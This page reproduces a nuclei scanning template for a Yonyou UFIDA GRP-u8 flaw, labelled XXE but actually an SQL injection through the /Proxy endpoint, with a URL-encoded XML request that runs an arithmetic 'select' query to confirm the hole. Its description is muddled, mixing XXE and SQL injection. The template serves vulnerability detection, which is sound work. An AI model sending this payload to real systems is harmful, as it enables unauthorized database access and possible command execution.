yonyou-grp-u8-xxe: Yonyou UFIDA GRP-u8 - XXE

2025-08-01 Yonyou UFIDA GRP-u8 PoC Public

Description

UFIDA GRP-u8 has an XXE vulnerability. This vulnerability is caused by the application not loading external entities when parsing XML input, resulting in the loading of external SQL statements and command execution.

PoC

id: yonyou-grp-u8-xxe

info:
  name: Yonyou UFIDA GRP-u8 - XXE
  author: SleepingBag945
  severity: critical
  description: UFIDA GRP-u8 has an XXE vulnerability. This vulnerability is caused by the application not loading external entities when parsing XML input, resulting in the loading of external SQL statements and command execution.
  reference:
    - http://wiki.peiqi.tech/wiki/oa/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8B%20GRP-U8%20Proxy%20SQL%E6%B3%A8%E5%85%A5%20CNNVD-201610-923.html
  classification:
    cwe-id: CWE-89
  metadata:
    max-request: 1
  tags: yonyou,grp,xxe,sqli,vuln
variables:
  num1: "{{rand_int(800000, 999999)}}"
  num2: "{{rand_int(800000, 999999)}}"
  result: "{{to_number(num1)*to_number(num2)}}"

http:
  - raw:
      - |
        POST /Proxy HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Accept-Encoding: gzip

        cVer=9.8.0&dp=%3c?xml%20version%3d%221.0%22%20encoding%3d%22GB2312%22?%3e%3cR9PACKET%20version%3d%221%22%3e%3cDATAFORMAT%3eXML%3c%2fDATAFORMAT%3e%3cR9FUNCTION%3e%3cNAME%3eAS_DataRequest%3c%2fNAME%3e%3cPARAMS%3e%3cPARAM%3e%3cNAME%3eProviderName%3c%2fNAME%3e%3cDATA%20format%3d%22text%22%3eDataSetProviderData%3c%2fDATA%3e%3c%2fPARAM%3e%3cPARAM%3e%3cNAME%3eData%3c%2fNAME%3e%3cDATA%20format%3d%22text%22%3e%20select%20{{num1}}%2a{{num2}}%20%3c%2fDATA%3e%3c%2fPARAM%3e%3c%2fPARAMS%3e%3c%2fR9FUNCTION%3e%3c%2fR9PACKET%3e

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{result}}"

      - type: word
        words:
          - "<R9PACKET>"
# digest: 4a0a00473045022012ada7d8391fa098ff9008b3f8352a24b1f212164b5c5cffdd217315b701b1670221008a70a3c851370744c046064fc77f99306fc67b26413fa3f05bd46970c041a44a:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/yonyou/yonyou-grp-u8-xxe.yaml

References

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